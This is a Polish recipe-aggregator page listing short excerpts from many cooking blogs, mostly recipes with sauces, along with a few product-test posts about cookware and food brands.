znikają z półmiska momentalnie. Delikatne w smaku, szybkie w przygotowaniu, dobre zarówno na ciepło jak i na zimno. Co najważniejsze moja córka niejadek uwielbia te kotleciki. Do kotlecików polecam sos paprykowy , idealnie się komponuje z delikatnością mięsa. Składniki: 2 podwójne piersi z kurczaka 20-30 dag żółtego sera 3 jajka 3 łyżki majonezu 3 łyżki mąki ziemniaczanej dowolna przyprawa

na moim stole...
Sałatka chrzanowa 10662

Sałatka chrzanowa Sałatka ta o dziwo nie jest ostra, chrzan jest tylko akcentem, choć dałam cały mały słoiczek chrzanu, jest pyszna, polecam. Dodając więcej śmietany uzyskamy sos, którym z powodzeniem możemy polać np. ugotowane jajka. Można również dodać posiekane orzechy włoskie, sałatka, nabierze wtedy bardzo oryginalnego posmaku. Składniki: 2 słoiczki selera konserwowego 3-4 jabłka puszka kukurydzy mały

na moim stole...
Pizza na cienkim spodzie 209

około godzinę. Blachę do pieczenia wysmarować oliwą.  Ciasto podzielić na 3 części. Formować spody bezpośrednio na blaszce uderzając w ciasto pięścią. Brzegi spodu pozostawić nieco grubsze. Ciasto posmarować sosem pomidorowym: puszka pomidorów w zalewie 2 łyżeczki octu balsamicznego łyżeczka suszonego oregano łyżeczka suszonej bazylii 2-3 ząbki czosnku łyżka oliwy z oliwek sól pieprz Wszystko zmiksować i posmarować spody

na moim stole...
Gulasz z indyka z marynowaną papryką 182

Gulasz z indyka z marynowaną papryką Bardzo lubimy mięso z indyka. Jest kruche, miękkie i szybko się je przyrządza. A najlepiej jeśli jest duuużo sosu. Wtedy cała rodzina jest szczęśliwa. Dzisiaj na obiad zaproponuje gulasz z udźca indyka duszony z pieczarkami i marynowaną papryką. Dodanie papryki spowoduje, że gulasz nabierze nowego, ciekawego smaku. Warto spróbować. U nas gulasz został podany

na moim stole...
Ogórki w occie z chrupiącą cebulką 140

posolić. Cebulę posiekać, zrumienić na oleju z roztartym czosnkiem i po chwili wyjąć z oleju. Do tegoż oleju , wlać resztę octu, wsypać cukier, pieprz do smaku i polać tym sosem ogórki. Na końcu obłożyć cebulką i podawać do obiadu lub jako przekąskę

Tradycyjna Kuchnia
Papryczki faszerowane komosą ryżową i mięsem mielonym 229

Wnętrze papryki wypełniam przygotowanym farszem. Paprykę przykrywam odciętym wierzchołkiem i układam w szerokim garnku. Zalewam bulionem i duszę na małym ogniu pod przykryciem około 30 minut. Podaję z ulubionym sosem. Do przygotowania farszu wykorzystałam Quinoa- komosę ryżową, którą otrzymałam do testowania od firmy MAKAR . Komosa ryżowa to roślina o niezwykłych właściwościach odżywczych, zawiera w sobie pełnowartościowe białko. Sprzyja budowaniu mięśni

Tradycyjna kuchnia Kasi
66. Pesto z bobu i bazylii 227

niskokaloryczna, niskotłuszczowa itd. Ale moim zdaniem, urodziny to jedno z tych dni, w których możemy sobie pozwolić na cheat meal czy nawet na cheat day.  Pesto jest świetnym sosem nie tylko do zjedzenia z makaronem, ale również do różnego typu mięs, ryb, do zjedzenia na kanapce, czy jako bruschetta, a nawet jako dodatek do pizzy. Jego sposób spożycia może

Be Fit Be Strong
Kotlety wieprzowe z cukinią 214

mielonego mięsa tartą cukinię i upiekłam w piekarniku kotlety wieprzowe z cukinią, przygotowałam do nich pyszny dip na bazie jogurtu greckiego, koperku i czosnku, można też podać do nich sos tzatziki . Co na obiad? Polecam pyszne Kotlety wieprzowe z cukinią z piekarnika Składniki: 1/2 kg mielonej łopatki, 1 cukinia starta na tarce (duże oczka), 1 duże jajko, sól i czarny

Damsko-męskie spojrzenie na kuchnię
Naan 218

pyszne i aromatyczne naany w zwykłym, domowym piekarniku. Chleb naan można wzbogacić do smaku kolendrą, czarnuszką, pieprzem czy czosnkiem. Naan wspaniale komponuje się z curry, esencjonalnymi i gęstymi warzywnymi sosami oraz mięsnymi potrawkami. Składniki: 250 g mąki 100 ml mleka 1 łyżeczka suszonych drożdży 1 łyżeczka czarnuszki 1/4 łyżeczki proszku do pieczenia 1/4 łyżeczki soli 1 jajko, roztrzepane 1 łyżka

Smakowity Blog Kulinarny
Sałatka śniadaniowa 166

posypania) W miseczce umieszczamy umytą, odsączoną rukolę. Na wierzchu układamy kawałki grejpfruta, czereśnie z ogonkami. Całość posypujemy świeżo startym parmezanem i prażonym słonecznikiem. Z miodu i oleju przygotowujemy sos, którym polewamy sałatkę. Zjadamy od razu

Szybko Tanio Smacznie
Vol-au-vent z drobiowym ragout z grzybami 360

smażymy 5 minut. Dodajemy grzyby i gałązkę świeżego oregano, doprawiamy solą i pieprzem, dokładnie mieszamy i smażymy kolejne 5 minut. Wlewamy śmietanę, dodajemy łyżkę koncentratu i przesmażamy, aż sos zgęstnieje. Zdejmujemy z ognia. 4. Do gniazdek z ciasta nakładamy drobiowe ragout, posypujemy tartym serem wędzonym i posypujemy szczypiorkiem. Podajemy ciepłe. Smacznego

My Culinary Art
PUSZYSTY PLACEK Z TRUSKAWKAMI (z mlekiem) 211

gdyż szybko fermentują i pleśnieją. Najlepszym sposobem na ich przechowywanie jest zamrożenie, zachowujące prawie wszystkie właściwości świeżych owoców. Są cenionym składnikiem wielu sałatek, surówek, przystawek. Przyrządza się z nimi sosy, zupy, desery, ciasta i napoje. Spożywa się je na surowo oraz przetwarza na: soki, dżemy, konfitury. Robi się wina, nalewki i likiery.  Składniki: 2 szklanki mąki pszennej 5 jajek

Ciastka - domowe słodkości
Makaron z cukinią w sosie śmietanowym 229

żeby zapobiec przypalaniu. Kiedy cukinia będzie miękka, dodajemy śmietanę, mieszamy wszystko, doprawiamy ziołami i dusimy jeszcze chwilę do zagotowania. Na małej patelni podprażamy pestki dyni i wsypujemy je do sosu. Podajemy z makaronem, rzecz jasna

wcinaj to
Klopsiki w sosie jogurtowym 235

aromatyczne i pożywne. Pachnie miętą i skórką z cytryny oraz oregano, smaki i zapachy się przenikają i nadają daniu niepowtarzalnego śródziemnomorskiego smaku. Zapraszam na ucztę przy stole. Klopsiki w sosie jogurtowym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Sałatka z sałatą lodową z warzywami 346

kostkę. 3. Cebulę dymkę posiekać. 4. Przyprawę do sałatek wymieszać z odrobiną soku z cytryny, 2 łyżkami oleju i 1 łyżką wody. Dodać szczyptę cukru. 5. Do warzyw dodać sos oraz posiekaną cebulę dymkę i koperek. Wszystko wymieszać. Smacznego

Kuchnia domowa Ani
Lody malinowe z sosem 201

zrobić latem malinowych lodów to grzech. Tym bardziej, że w tym roku mam ich bardzo dużo. Lody malinowe i do tego polane malinowym sosem to już pełnia szczęścia. Składniki: 1 puszka mleka słodzonego 530g 400 ml zimnej kremówki 30% 1 łyżka ekstraktu waniliowego Ale-raj 600 g świeżych malin 2 łyżki soku z cytryny Przygotowanie: Maliny zmiksować w blenderze, przelać

Ala piecze i gotuje
Tarta jogurtowa z jabłkiem i jagodami 195

szczerze, że to jedna z lepszych tart jakie jadłem. Nie najlepsza, ale z całą pewnością jedna z lepszych. A dlaczego nie najlepsza? Bo najlepsza jest tutaj: tarta jabłkowa z sosem śmietanowym i pomarańczową glazurą . Musicie jej spróbować! A tymczasem tarta jagodowa: Spód: 200 g mąki krupczatki 100 g masła 50 g cukru 1 całe jajko szczypta soli Nadzienie

Marder&Marder Manufacture
Spaghetti bolognese 228

pomidory oraz przecier pomidorowy, wszystko mieszamy i dusimy około 40 minut. Makaron (ja użyłam razowego tagliatelle)  ugotować w osolonej wodzie, odcedzić.  Makaron wykładamy na talerz i polewamy sosem (można posypaś tartym serem

magiczna kuchnia Kasi
Sałatka z selera naciowego i indyka 252

łyżeczki). Paprykę umyć, oczyścić i pokroić w niewielkie paseczki. Koperek i cebulę umyć, drobno posiekać. Sok z cytryny, oliwę i czosnek dokładnie wymieszać. Wszystkie składniki sałatki wymieszać, polać powstałym sosem i doprawić ewentualnie pieprzem i solą

Kuchcik gotuje
Lodowe serce z kajmakiem i orzechami 143

21x21 cm), wcześniej wyłożonej folią spożywczą. Masę wkładamy do zamrażarki na ok. 4 godziny. Przed podaniem lody wyjmujemy chwilkę wcześniej, aby można je było pokroić. Możemy je również polać sosem kajmakowym (wymieszane 3 -4 łyżki kajmaku z łyżką mleka

VioletoweKucharzenie
Sałatka fitness - Przepisy Mistrza Pawła Małeckiego 259

SKŁADNIKI: 1 grapefruity 1 pomarańcza garść rodzynek 1 łyżka miodu PRZYGOTOWANIE: Przygotuj sos: sok z 1/4 pomarańczy, sok z 1/4 grapefruita i 1 łyżka miodu. Wymieszaj. Pozostałe części owoców filetujemy

ClauditteMissCooking
Na weekend: śniadanie pod chmurką. Targ śniadaniowy zaprasza nie tylko Warszawę. Poznaj smaki świata. 254

awokado. Potwierdziło się, że pojęcie "ostre" ma w kuchni meksykańskiej inny wymiar. Mąż skapitulował przed końcem Buritto, ziając niczym smok ;) Moja wersja okazała się o wiele bardziej przystępna - z sosem jogurtowym z natką pietruszki, tradycyjną pastą z fasoli i awokado. Do spróbowania otrzymaliśmy również pysznie orzeźwiający napój z hibiskusa. Pani cierpliwie opowiedziała mi co jest co, a Pan zaprosił naszą

Kuchnia po mojemu
Makaron z sosem pieczarkowo-serowym 214

Sos z gęstej śmietany, parmezanu i pieczarek. Bardzo szybkie do wykonania danie obiadowe. Niżej podane składniki wystarczą na 4-5 dużych porcji. 0,5 kg pieczarek 100 g parmezanu 400 g śmietany 22% 1/3 łyżeczki pieprzu 1/2 łyżeczki soli pęczek szczypiorku kilka liści świeżej bazylii 1 łyżka oleju 2 ząbki czosnku makaron (4-5 porcji) + sól do wody Pieczarki drobno

Bullio
Bigos z cukinii, patisonów i bobu 184

patisonów 3-5 marchewek 2-3 kilka cebule około pół kilograma bobu 10 śliwek suszonych śliwek przyprawy: po łyżeczce: soli, słodkiej papryki, pieprzu i 1 lub dwie łyżki ciemnego sosu sojowego Przygotowanie: wszystkie warzywa umyć, marchewki obrać, cukinie i patisony pokroić w kostkę razem ze skórką, marchewki w plasterki Do dużego garnka wlewamy dwie łyżki oleju i wrzucamy bób, podsmażamy

greenscarf
Makaron farfalle z łososiem w kremowym sosie 169

Makaron farfalle czy też popularne w Polsce kokardki dobrze komponują się z gęstymi sosami. Dodajmy do tego wędzonego łososia i silną nutę kaparów a wyjdzie nam pyszne danie o wyrazistym smaku

Milion Smaków
Ryż z truskawkami 367

gęstego jogurtu Wykonanie: Ryż ugotować na sypko w osolonej wodzie. Truskawki umyć, pozbyć się szypułek. Połowę truskawek wrzucamy do blendera i miksujemy, dodajemy cukier i śmietanę. Ryż polać naszym sosem i udekorować pozostałymi truskawkami

magiczna kuchnia Kasi
Wegański pasztet z fasoli piękny jaś, pomidorowo grzybowy 185

średnich pieczarek - 7 suszonych pomidorów z zalewy - 1-2 łyżki oliwy  - świeże zioła ( ja użyłam tymianek, oregano, majeranek) - suszone zioła ( ja użyłam majeranek, czosnek, pieprz, ostrą paprykę) - sos sojowy do smaku  - słonecznik do posypania na wierzch (opcjonalnie) Przygotowanie :  Fasole ugotować, zmielić w maszynce do mięsa lub w blenderze razem z pieczarkami, cebulą i pomidorami, doprawić do smaku

zdrowa vege kuchnia
Spaghetti w cukiniowym sosie (spaghetti con zucchine) 242

jagodzianka" Przepis podpatrzyłam w pewnej obyczajowej powieści, gdy pewien pan przygotowywał dla pewnej pani kolację. Opis był taki apetyczny, że postanowiłam … Przeczytaj cały artykuł Post Spaghetti w cukiniowym sosie (spaghetti con zucchine) pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Śledź po cygańsku 181

wrzątkiem na sitku, a następnie przelewamy zimną wodą. Ogórki kroimy w kostkę. Pomidory obieramy ze skórki i kroimy w kostkę. Wszystko razem mieszamy. Śledzia kroimy w paski i zalewamy sosem. Odstawiamy do lodówki na minimum 2 godziny. Śledź po cygańsku

O kuchni z uczuciem
Sałatka z tuńczykiem i ryżem 524

razu wpadł mi pomysł na taką sałatkę z rybką. Na piątek będzie idealna. Sycąca i smaczna. Polecam! Składniki 2 szklanki ugotowanego ryżu na sypko 2 puszki tuńczyka w sosie własnym lub w oleju 1 duża czerwona cebula 3 pomidory 1 puszka kukurydzy 1 pęczek posiekanego szczypiorku zalewa 3 łyżki ketchupu 2 łyżki oliwy sok z 1/2 cytryny 1 łyżeczka cukru

O kuchni z uczuciem
Modra kapusta. 248

Modra kapusta jest wspaniałym dodatkiem do roladek, lub innych mięs przygotowywanych w sosie, przynajmniej w mojej kuchni :-) Ja przygotowuję ją troszeczkę inaczej, zastępuję ocet sokiem z cytryny, a zamiast skwarek i wytopionego z nich tłuszczu dodaję podsmażoną na oleju cebulkę. Jest przepyszna!!! Składniki na modrą kapustę 1 mała główka czerwonej kapusty (moja miała 0,6 kg) 2 średnie cebulki

Rozpustne gotowanie
Ryba w zalewie pomidorowej. 317

marynowaną paprykę, sparzoną cebulkę i ogórki kiszone, co w rezultacie daje niesamowity efekt. Po tygodniu ryba jest gotowa, wykładam rybę na półmisek, na wierzch układam warzywa i polewam powstałym sosem..... Pychotka!!! Składniki na rybę w zalewie pomidorowej 1,2 kg mrożonych filetów rybnych lub 1 kg świeżych przyprawa do ryb jajko bułka tarta lub mąka pszenna olej do smażenia

Rozpustne gotowanie
Pieczeń rzymska. 200

podawać na ciepło jak i na zimno. Pyszna jest taka prosto z piekarnika, pokrojona w grube plastry z dodatkiem tłuczonych ziemniaczków i sałaty ze śmietaną, a wszystko podlane sosem, np. koperkowym, albo pieczeniowym. Natomiast jak już ostygnie świetnie sprawdza się na imprezach, bo nie dość, że pięknie się prezentuje, to i wybornie smakuje. Idealnie się sprawdzi również w podróży

Rozpustne gotowanie
Brukselka w bułce tartej. 198

pory roku nie smakują aż tak bardzo jak teraz. Dzisiaj na obiad serwowałam ulubioną przez moją rodzinkę brukselkę. Uwielbiamy te małe, słodkie kapustki. Lubię je w zupie jarzynowej, w sosie śmietanowym albo otoczone złocistą bułką tartą. Podaje je np. do kotleta zamiast ziemniaków, czy ryżu. Jest syta, zdrowa i przepyszna. Polecam!!! Składniki na brukselkę w bułce tartej 250 g kapusty

Rozpustne gotowanie
Klops z boczniakami. 182

grzybów jest niesamowicie soczysty. Podaję tę pieczeń na obiad z ziemniakami i mizerią lub sałatą w śmietanie, lub czymś co mam akurat pod ręką, a gdy już ostygnie zalewam sosem, który powstał w czasie pieczenia, wkładam do lodówki i na kolację mamy swojską wędlinę do chlebka. Kroję ją na dość grube plasterki i podaje z pieczywem, sałatą i pomidorami bądź

Rozpustne gotowanie
Brokuły z pomidorami. 265

siekamy. Do małej miseczki przeciskamy czosnek, dodajemy majonez i jogurt naturalny, dobrze mieszamy, doprawiamy sola i pieprzem. W sporej misce układamy brokuły, pomidory, posypujemy cebulką lub szczypiorkiem i zalewamy sosem czosnkowym. Ewentualnie doprawiamy solą i pieprzem do smaku i gotowe

Rozpustne gotowanie
Polska zupa szczawiowa. 209

liść laurowy 3 ziarna ziela angielskiego 5 ziaren pieprzu sól 6 jajek ugotowanych na twardo 2 -3 łyżki mąki 100-125 ml słodkiej śmietany 18% do zup i sosów 1 łyżka koperku      Mięso lub kości zalewamy 2-2,5 litrami wody, lekko solimy, dodajemy liść laurowy, ziarenka ziela i pieprzu, i gotujemy 30 minut. W tym czasie

Rozpustne gotowanie
Wieprzowina z cynamonem. 226

goździki zdominują smak potrawy i jakoś tak nie bardzo byłam przekonana, ale czekała mnie miła niespodzianka. Danie wyszło obłędne!!! Soczyste kawałki mięsa rozpadające się w ustach, otulone pysznym sosem z delikatną nutą korzennych przypraw, smaki się uzupełniają tworząc harmonijną całość. Istna rozpusta!!! Składniki na wieprzowinę z cynamonem dla 6 osób 1 kg chudej wieprzowiny 0,5 szklanki wina

Rozpustne gotowanie
Kotlety mielone z jajkiem. 282

patelni i były obłędne, mięsko mięciusie, pełne soków wymieszanych z przyprawami, do tego kremowe jajeczko... Pycha!!! Gdy już ostygły i mięso stężało, podałam je przekrojone na pół, do tego sos czosnkowy i...zniknęły w oka mgnieniu. Polecam, bo świetnie się prezentują, są miłą odmianą i co najważniejsze, są po prostu przepyszne!!! Składniki na kotlety mielone z jajkiem 8 jajek ugotowanych

Rozpustne gotowanie
Sałatka z polędwicy drobiowej z ryżem. 359

powietrzu, ale idealnie sprawdza się na kolację lub śniadanie. Jest pyszna, chociaż "odchudzona". Podstawą jest ryż, do tego chuda polędwica drobiowa i chrupiący ogórek, wszystko to skąpane w delikatnym sosie na bazie jogurtu naturalnego. Jest sycąca, mało kaloryczna i przepyszna. Polecam :-) Składniki na sałatkę z polędwicy drobiowej z ryżem 100g ryżu (1 woreczek) 200g polędwicy drobiowej 300g ogórków zielonych

Rozpustne gotowanie
Szybka surówka z kapusty pekińskiej. 199

natychmiast! Albo mąż nieśmiało zagląda do kuchni z błaganiem w oczach, bo przecież on już z głodu umiera!!! W takich, bądź co bądź rzadkich przypadkach przygotowuję pysznego kurczaka w sosie śmietanowym , do tego makaron (bo się szybko gotuje) i właśnie taką suróweczkę. Jest pyszna, łatwa w przygotowaniu i stanowi ciekawą alternatywę dla gotowców ze słoika (pomimo, że sama je przygotowuje

Rozpustne gotowanie
Zupa z pieczonego kurczaka. 276

pieczonego kurczaka 1 udko lub filet z kurczaka 1 marchewka kilka różyczek ugotowanego brokuła pół filiżanki drobnego makaronu 1 łyżka mąki 125 ml śmietany słodkiej 18 % do zup i sosów 750 ml rosołu drobiowego (może być z kostki) listek laurowy 3 ziarenka ziela angielskiego ewentualnie przyprawa uniwersalna typu vegeta      W garnku podgrzewamy rosół, dodajemy marchewkę startą

Rozpustne gotowanie
Pieczeń z warzywami. 212

folię i pieczemy do zarumienienia. Wyjmujemy z pieca i pozostawiamy na około 30 minut, żeby mięso odpoczęło i nabrało soczystości. Po tym czasie kroimy w plastry, podajemy z dowolnym sosem

Rozpustne gotowanie
Deser czekoladowy. 180

niego. Polecam!!! Składniki na deser czekoladowy 0,5 l mleka 1 budyń czekoladowy 80 g czekolady gorzkiej 100 ml schłodzonej śmietany 30% 1 łyżeczka słodzonego kakao czekolada lub sos czekoladowy do dekoracji      Budyń gotujemy na mleku zgodnie z instrukcją na opakowaniu, wyłączamy grzanie i dodajemy połamaną w kostki czekoladę. Dokładnie mieszamy, a gdy czekolada się rozpuści rozlewamy

Rozpustne gotowanie
Młoda kapusta z koperkiem i śmietaną. 1588

koperkiem i śmietaną 1 nieduża, młoda kapusta 300 ml rosołu 1 mały listek laurowy 1 ziarno ziela angielskiego 100-150 ml śmietanki 30% (ewentualnie 18% do zup i sosów) 1 pełna łyżka mąki pszennej 3 łyżki siekanego koperku sól pieprz       Rosół zagotowujemy z dodatkiem listka laurowego i ziela angielskiego, kapustę siekamy i dorzucamy do rosołu, gotujemy

Rozpustne gotowanie
Gołąbki z młodej kapusty. 220

gołąbki przed ewentualnym przypaleniem) i zalewamy rosołem. Przykrywamy pokrywką i wkładamy do nagrzanego piekarnika. Pieczemy w temperaturze 180 stopni około 1,5 godziny. Gotowe! Można je podać z ulubionym sosem. Ja następnego dnia odgrzewam je na patelni i podaje takie przysmażone, pycha

Rozpustne gotowanie
Kaczka pieczona po polsku. 191

wkładamy do piekarnika nagrzanego do 190-200 stopni C. Po godzinie przewracamy mięso, wierzch smarujemy masłem, przykrywamy i pieczemy kolejne 40 minut (co 10-15 minut polewamy powstałym sosem). Następnie odkrywamy naczynie i dopiekamy jeszcze 20 minut. Po tym czasie wyjmujemy ptaszka, przykrywamy folią aluminiową i pozostawiamy na 30-40 minut, żeby kaczka nabrała soczystości. Podajemy z żurawiną. Gotowe

Rozpustne gotowanie
Dżem z truskawek i płatków róży. 194

dżem o bardziej intensywnym zapachu należy podwoić ilość różanych płatków. Jak dla mnie jest wprost idealny do pączków, lecz sprawdzi się również w naleśnikach, kanapkach, rogalikach, a nawet jako sos do lodów, bitej śmietany, czy racuchów. Polecam, bo naprawdę warto!      Jeśli chodzi o wybór kwiatów róży, to nie jestem ekspertem. Ja zawsze wybieram te różowe, mocno pachnące

Rozpustne gotowanie
Pieczeń wieprzowa zapiekana z warzywami. 209

ostrożnie mieszamy warzywa i dodajemy ugotowane ziemniaki. Po upieczeniu wyjmujemy danie, posypujemy posiekaną natką i szczypiorkiem, pozostawiamy na 20-30 minut. Następnie kroimy pieczeń i serwujemy z warzywami i sosem z pod pieczeni

Rozpustne gotowanie
Pączki z dziurką (amerykańskie doughnuts lub donuts) 182

amerykański glina ;p Polecam!!! Składniki na pączki z dziurką wszystkie w temperaturze pokojowej: 2 szklanki mąki tortowej 2/3 szklanki letniej śmietanki 30 % (słodkiej, ewentualnie 18% do zup i sosów) 20 g świeżych drożdży 1 łyżeczka cukru 1 jajko  2 łyżki cukru pudru 1 łyżeczka ekstraktu waniliowego olej do smażenia kolorowa posypka LUKIER: 1 szklanka przesianego cukru pudru

Rozpustne gotowanie
Cebula smażona (prażona). 206

niezmiennie bardzo smakuje, a jednocześnie ma szerokie zastosowanie w kuchni, a mianowicie smażoną cebulkę. Uwielbiam jej smak! Jest idealnym dodatkiem do domowych hamburgerów, hot dogów, kanapek, jajecznicy, sosów, okrasy, pieczywa i wielu innych posiłków. Bardzo lubię smak prażonej cebulki, więc jej zapas zawsze mam w lodówce. Bardzo polecam!!! Składniki na cebulę smażoną (prażoną):   4 średnie cebule 3 płaskie łyżki

Rozpustne gotowanie
Curry z ryby. 225

Pyszne, szybkie danie kuchni indyjskiej. Nie ma nic lepszego od ryby ugotowanej w aromatycznym sosie curry. Jak dla mnie bomba! Polecam!!! Składniki na curry z ryby: 500 g ryby (u mnie filety z łososia) 1 duża cebula olej 1 ząbek czosnku 2 łyżeczki curry 250 g obranych pokrojonych pomidorów, mogą być z puszki (lub 1 łyżeczka koncentratu pomidorowego) sól

Rozpustne gotowanie
Szybka tarte Tatin. 156

gorące ciasto w formie przykrywamy płaskim, szerszym od formy talerzem, formę odwracamy do góry dnem w ten sposób, żeby ciasto opadło na talerz. Podajemy jeszcze ciepłe z lodami lub sosem waniliowym

Rozpustne gotowanie
Lody karmelowe. 133

czas mieszając, aż osiągnie temperaturę 80 stopni (jeśli nie mamy termometru cukierniczego to pilnujemy żeby masa się nie zagotowała, jeśli zaczyna się robić gęściejsza, o konsystencji, dajmy na to, sosu czekoladowego wyłączamy grzanie). Teraz przecedzamy przez sitko wprost do karmelu i całość dokładnie mieszamy. Studzimy w lodówce mieszając od czasu do czasu. Gdy lody są już w temperaturze lodówkowej wkładamy

Rozpustne gotowanie
Colesław z czerwonej kapusty. 206

Warzywa drobniutko siekamy, przekładamy do miski, solimy i chwilę ugniatamy. W drugiej misce mieszamy majonez, jogurt, przeciśnięty przez praskę czosnek, cukier puder, ocet, sok z cytryny. Gładki sos dodajemy do warzyw, dokładnie mieszamy i odkładamy do lodówki. Gotowe! Surówka najlepiej smakuje po około 2 godzinach chłodzenia

Rozpustne gotowanie
Uda z indyka po rzymsku. 187

szybkowar). Mięso podsmażamy z każdej strony, zalewamy przecierem, dodajemy zioła i dusimy na bardzo małym ogniu około 3-4 godziny (w szybkowarze wystarczy 1,5 godziny). Po tym czasie sos pomidorowy doprawiamy cukrem, solą i pieprzem, gotowe. Podajemy z makaronem

Rozpustne gotowanie
Babska pietruszka w sosie 177

konsystencją zalewamy pietruszkę. Wstawiamy do piekarnika na 180 stopni - pieczemy do zezłocenia czosnek - ok 25 minut, pietruszki - ok 50-60 minut. Dla nadania naszej pietruszce wyrazistego smaku, konieczny jest sos aioli. Podawałam jego skład w przepisie z francuskimi buraczkami:  http://dlasmaq.blogspot.com/2013/01/francuskie-buraczki-z-sosem-aioli.html Uważam, że na babskie spotkania lub dla mniej mięsożernych samców :) - jest doskonała !!! Polecam i życzę Smacznego

dlaSmaQ
Kanapki z ciasta francuskiego 214

przyprawy (oprócz pieprzu czerwonego i nitek Wkładamy do nagrzanego piekarnika na 180 stopni na około 15 minut. Następnie wyjmujemy na talerzyki i ozdabiamy  Dodatkowo polecam podawać z dwoma sosami :) (Ja zrobiłam tzatzyki i  do tego gotową pastę z papryczek chilli, którą się wszyscy zajadają) Życzę smacznego

dlaSmaQ
Krewetki zatopione w masle z czosnkiem 143

Walentynki to na kolację afrodyzjaki - tym bardziej, że właśnie krewetki i truskawki uważane są jakie te najbardziej "romantyczne" :) Krewetki uwielbiam i mogłabym je jeść tonami, zatopione we własnym sosie,  na maśle z dodatkiem czosnku - smakują mi najlepiej - odpowiednio doprawione solą - swoim smakiem podbijają moje serce :) Krewetki na pewno zrobione w mało dietetyczny sposób - na dużej ilości masła

dlaSmaQ
Foccacia 143

podawać na różne sposoby - jako kanapkę, lub jak kawałek pizzy. Cisto jest chrupiące i smaczne. Ja dodałam małe pomidorki oliwki, świeży rozmaryn, suszone zioła prowansalskie Warto podawać z jakimś sosem - u nas akurat połączone zostało z pastą z chilli :) SKŁADNIKI: 10 g świeżych drożdży 150 ml ciepłej wody 250 g mąki 1 łyżeczka soli oliwa z oliwek   garść zielonych

dlaSmaQ
Ekspresowa tortilla z jagodami Goji z zatopionym w wedzonej papryce kurczakiem. 197

odparowania wody.) Następnie, wkładamy tortille do mikrofali :) - aby ją podgrzać wykładamy mięso przygotowane przez nas i pozostałe dodatki. Ja dodałam sałatę lodową, ser feta, pomidora. Dodatkowo polałam "farsz" sosem jogurtowym z carry i pieprzem bałkańskim. Na tym koniec :) SMACZNEGO

dlaSmaQ
Karkówka z grilla 214

dokładnie i odstawiam w chłodne miejsce.  Rozpalam grilla i układam mięso na ruszcie pilnując, aby się nie spaliło obracając je kilkukrotnie w trakcie pieczenia. Gotowe podajemy z ulubionymi sosami, pieczywem, warzywami, sałatki, tzatzykami.... Z tym, z czym lubimy zajadać grillowane mięso

Malinowe Pocałunki
SERNIK Z KASZY JAGLANEJ NA SPODZIE Z KASZĄ GRYCZANĄ 233

pojawiać się na naszych stołach smakuje zarówno na słodko jak i w wytrawnych potrawach. Gryczana natomiast jest pełna błonnika, soli mineralnych i witamin, najczęściej jest dodatkiem do gulaszów i sosów, ja pokusiłam się na wersję słodką, wyszło niebiańsko :) SKŁADNIKI: GRYCZANY SPÓD: -  200 g kaszy gryczanej ugotowanej na sypko -  200 g czekolady -  150 ml mleka -  3 jajka

Kuchnia bezglutenowa Loli
Warzywa z kurczakiem gyros 232

lekko osolonej wodzie, 15 minut jeśli jest w torebkach lub tyle ile jest podane na opakowaniu.  Ugotowany ryż odsączyć i wymieszać z kurczakiem, aby ryż wchłonął sos powstały podczas smażenia kurczaka (nie gotować). Tuż przed podaniem dodać bazylię, wymieszać. Bez bazylii danie jest również bardzo smaczne. Polecam

Kuchcik gotuje
Bitki po staropolsku 161

podlewamy bulionem. Dusimy do miękkości mięsa na wolnym ogniu (około 40 minut). Gdy płyn wyparuje w razie potrzeby możemy podlewać mięso. Natomiast gdy zrobi się nam za dużo sosu, możemy go zagęścić zawiesiną z mąki (mięso przed wyjmujemy

VioletoweKucharzenie
Rolada schabowa 232

tłuszczu, aż się zrumienią. Na koniec dolewamy wrzącą wodę, dorzucamy listek laurowy i ziele angielskie. Dusimy pod przykryciem na wolnym ogniu do miękkości. Gdy rolady będą miękkie zagęszczamy sos wodą z mąką i doprawiamy solą i pieprzem. Smacznego

magiczna kuchnia Kasi
Test garnków Blaumann Black Granit - poznaj moją opinię 182

arnek z pokrywką: 20 x 9 cm (2,4L) Tego brakowało mi w mojej kuchni najbardziej. :-) Mały, ale solidny garnek, idealny do podsmażenia cebulki czy zrobienia mniejszej ilości sosu.  4. Patelnia: 20 x 4,5 cm Mała, poręczna patelnia, która bez problemu przeszła "test naleśnika" przy smażeniu ich bez tłuszczu - nie przywarł do niej nawet pierwszy naleśnik

Szefowa kuchni
Bakłażan zapiekany z kurczakiem 215

posypać wierzch startym żółtym serem i ponownie zapiec do momentu aż ser się rozpuści. Podawać gorące posypane listkami bazylii . Ja polałam ketchupem , ale również można podawać ze swoim ulubionym sosem. Bakłażan zapiekany z kurczakiem

O kuchni z uczuciem
Zapiekanka makaronowa z szynką i zielonym groszkiem 205

Makaron ugotować al-dente. W międzyczasie wymieszać śmietanę, starty ser, jajka- dodając odrobinę gałki muszkatołowej, soli i pieprzu. Szynkę pokroić w drobną kostkę i wrzucić razem z groszkiem i sosem do ugotowanego makaronu. Wymieszać. Naczynie żaroodporne wysmarować margaryną, wlać gotowy makaron. Piec w rozgrzanym piekarniku w temp. 180 st (lub 170 w funkcji termoobieg) przez około 35 minut

Tradycyjna Kuchnia
Ketchup Międzychód - polecam 275

Wspieranie rodzimego przemysłu to już jest istotny argument, by kupować produkty tej firmy W swojej ofercie mają dania gotowe w słoikach (m.in. gołąbki, klopsiki, czy fasolkę po bretońsku), sosy, przetwory z pomidorów, ogórki oraz dżemy, ja osobiście jako, że korzystam z przetworów od mamusi nie próbowałam jeszcze niczego więcej z ich oferty, ale chętnie sięgnę po dania gotowe. Do testowania

Cynamonowe szczęście
PIERSI Z KURCZAKA W PIEPRZNEJ MARYNACIE 244

pikantnie i w sam raz :-)  Składniki:   w duże piersi z kurczaka  2 ząbki czosnku  4 łyżki oliwy  2 łyżki ostu balsamicznego  2 łyżki sosu sojowego  1,5 łyżki ostrej musztardy 1 łyżeczka pieprzu cytrynowego  1,5 łyżeczki ostrej papryki  1 łyżeczka soli  1 łyżeczka tymianku  pół łyżeczki cząbru

pieprzny smaczek
Pierożki ze szpinakiem i ricottą 236

podobne do do włoskich ravioli, delikatne z kremowym serkiem ricotta to pyszny obiad czy wczesna kolacja. Polecam wszystkim tym bardziej że robi się je bardzo szybko. Do pierożków polecam sos czosnkowo - jogurtowy [ klik ] Pierożki ze szpinakiem i ricottą. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Szaszłyki z łososia 254

